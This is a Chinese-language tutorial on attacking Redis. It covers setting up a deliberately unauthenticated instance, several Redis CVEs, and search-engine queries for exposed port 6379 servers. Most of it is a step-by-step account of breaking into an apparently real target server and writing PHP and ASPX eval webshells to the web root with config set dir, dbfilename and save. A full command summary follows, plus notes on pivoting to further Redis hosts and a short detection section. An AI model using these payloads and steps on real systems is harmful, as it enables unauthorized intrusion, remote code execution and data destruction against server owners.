Redis简介及搭建实验环境
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。目前最新稳定版本为4.0.8。
1.Redis默认端口
Redis默认配置端口为6379,sentinel.conf配置器端口为26379
2.官方站点
https://redis.io/
http://download.redis.io/releases/redis-3.2.11.tar.gz
3.安装redis
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。
4.修改配置文件redis.conf
(1)cp redis.conf ./src/redis.conf
(2)bind 127.0.0.1前面加上#号注释掉
(3)protected-mode设为no
(4)启动redis-server
./src/redis-server redis.conf
最新版安装成功后,如图1所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。
5.连接Redis服务器
(1)交互式方式
redis-cli -h {host} -p {port}方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,例如命令:redis-cli -h 127.0.0.1-p 6379,加-a参数表示带密码的访问。
(2)命令方式
redis-cli -h {host} -p {port} {command}直接得到命令的返回结果.
6.常见命令
(1)查看信息:info
(2)删除所有数据库内容:flushall
(3)刷新数据库:flushdb
(4)看所有键:KEYS *,使用select num可以查看键值数据。
(5)设置变量:set test “who am i”
(6)config set dir dirpath 设置路径等配置
(7)config get dir/dbfilename 获取路径及数据配置信息
(8)save保存
(9)get 变量,查看变量名称
7.相关漏洞
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:
(1)Redis 远程代码执行漏洞(CVE-2016-8339)
Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。
(2)CVE-2015-8080
Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。
(3)CVE-2015-4335
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码
(4)CVE-2013-7458读取“.rediscli_history”配置文件信息。
1.1.2 Redis攻击思路
4.使用漏洞搜索引擎搜索
(1)对“port: 6379”进行搜索
https://www.zoomeye.org/searchResult?q=port:6379
(2)除去显示“-NOAUTH Authentication required.”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。
(3)https://fofa.so/
关键字检索:port="6379" && protocol==redis && country=CN
1.1.4 Redis账号获取webshell实战
1.扫描某目标服务器端口信息
通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。
2.使用telnet登录服务器
使用命令“telnet ip port”命令登录,例如telnet 1..**.76 3357,登录后,输入auth和密码进行认证。
3.查看并保存当前的配置信息。
通过“config get命令”查看dir和dbfilename的信息,并复制下来留待后续恢复使用。
config get dir
config get dbfilename
4.配置并写入webshell
(1)设置路径
config set dir E:/www/font
(2)设置数据库名称
将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。
config set dbfilename redis.aspx
(3)设置webshell的内容
根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。
set webshell "<?php phpinfo(); ?>"
//php查看信息
set webshell "<?php @eval($_POST['chopper']);?> "
//phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意双引号使用\"
(4)保存写入的内容
save
(5)查看webshell的内容
get webshell
完整过程执行命令如图4所示,每一次命令显示“+OK”表示配置成功。
6.获取webshell
如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。
7.恢复原始设置
(1)恢复dir
config set dir dirname
(2)恢复dbfilename
config set dbfilename dbfilename
(3)删除webshell
del webshell
(4)刷新数据库
flushdb
8.完整命令总结
telnet 1..*.31 3357
auth 123456
config get dir
config get dbfilename
config set dir E:/www/
config set dbfilename redis2.aspx
set a "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
save
get a
9.查看redis配置conf文件
通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。
1.1.5Redis入侵检测和安全防范
1.入侵检测
(1)检测key
通过本地登录,通过“keys ”命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。
参考文章:
http://cve.scap.org.cn/CVE-2015-8080.html
http://cve.scap.org.cn/CVE-2015-4335.html